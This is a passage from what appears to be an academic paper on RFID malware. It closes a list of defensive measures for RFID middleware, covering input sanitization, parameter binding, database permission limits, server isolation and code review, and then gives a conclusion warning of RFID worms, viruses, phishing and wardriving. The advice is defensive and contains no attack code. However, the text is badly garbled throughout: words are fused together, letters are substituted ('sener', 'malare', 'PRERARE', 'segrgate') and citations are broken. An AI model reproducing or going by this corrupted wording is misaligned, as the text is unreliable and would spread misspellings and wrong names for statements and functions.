However, RFID middlewarewrittenin otherlanguages
shouldbe compiledwith bounds-checkingnabled.

2. Sanitizethe input. Insteadof explicitly strippingoff
specialcharactersit is easierto only acceptdatathat

containsthe standardalphanumericharacterg0-9,a-
z,A-Z). However, it is not always possibleto elimi-
nateall specialcharactersFor example,an RFID tag
on alibrary book might containthe publishers name,
O'Reilly. Explicitly replicatingsingle quotes,or es-
capingquoteswith backslashesvill not always help
either becausajuotescanbe representetby Unicode
andotherencodingslt is bestto usebuilt-in “datasan-
itizing” functions,like pg.escapebytea()in Postgres
andmysqlrealescapestring()in MySQL.

3. Disable back-end scripting languages. RFID mid-
dleware that usesHTTP can mitigate script injec-
tion by eliminating scripting supportfrom the HTTP
client. This may includeturning off both client-side
(i.e. Javascript,Java, VBScript, ActiveX, Flash)and
sener-sidelanguagegi.e. Sener-Sidelncludes).

4. Limit database permissions and segrgate users.
The databaseonnectionshouldusethe mostlimited
rights possible. Tablesshouldbe maderead-onlyor
inaccessabldecausehislimits thedamageausedy
successfuBQL injection attacks. It is alsocritical to
disablethe executionof multiple SQL statementén a
singlequery

5. Use parameter binding. Dynamically constructing
SQL on-the-y is dangerous.Instead,it is betterto
usestoredproceduresvith parametebinding. Bound
parameterqusing the PRERARE statement)are not
treatedasavalue,makingSQL injection attacksmore
dif cult.

6. Isolatethe RFID middlewaresewer. Compromisef
the RFID middlewvaresener shouldnot automatically
grantfull accesgo therestof the back-endnfrastruc-
ture. Network con gurationsshouldtherefordimit ac-
cessto othersenersusingthe usualmechanismgi.e.
DMZs)

7. Codereview. RFID middlewvare sourcecodeis less
likely to contain exploitable bugs if it is frequently
scrutinized.“Home grown” RFID middlewvareshould
becritically audited.Widely distributedcommerciabr
open-sourc®FID middlewvaresolutionsarelesslik ely
to containbugs.

For more information aboutsecureprogrammingprac-
tices, seethe books 'Secure Coding'[1(], 'Building Se-
cure Software'[18], and 'Writing SecureCode' (second
edition)[13.

8 Conclusion

RFID malware threatensan entire class of Penasve
Computingapplications. Developersof the wide variety



of RFID-enhancedystemswill needto “armor” their sys-
tems,to limit the damagehatis causecdoncehaclersstart
experimentingvith RFID exploits, RFID worms,andRFID

virusesonalargerscale.This papethasunderscoretheur-

geng of taking thesepreventative measuredy illustrating

the generalfeasibility of RFID malare,andby presenting
the rst ever RFID virus.

The spreadof RFID malare may launcha new fron-
tier of cat-and-mousactiity, thatwill play outin thearena
of RFID technology RFID malare may causeothernew
phenomendo appear;from RFID phishing(tricking RFID
readerownersinto readingmaliciousRFID tags)to RFID
wardriving (searchingor vulnerableRFID readers).Peo-
ple might evendevelop RFID honeypotsto catchthe RFID
wardrivers! Eachof thesecasesnakesit increasinglyobvi-
ousthatthe ageof RFID innocencehasbeenlost. People
will never have the luxury of blindly trusting the datain
their catagain.
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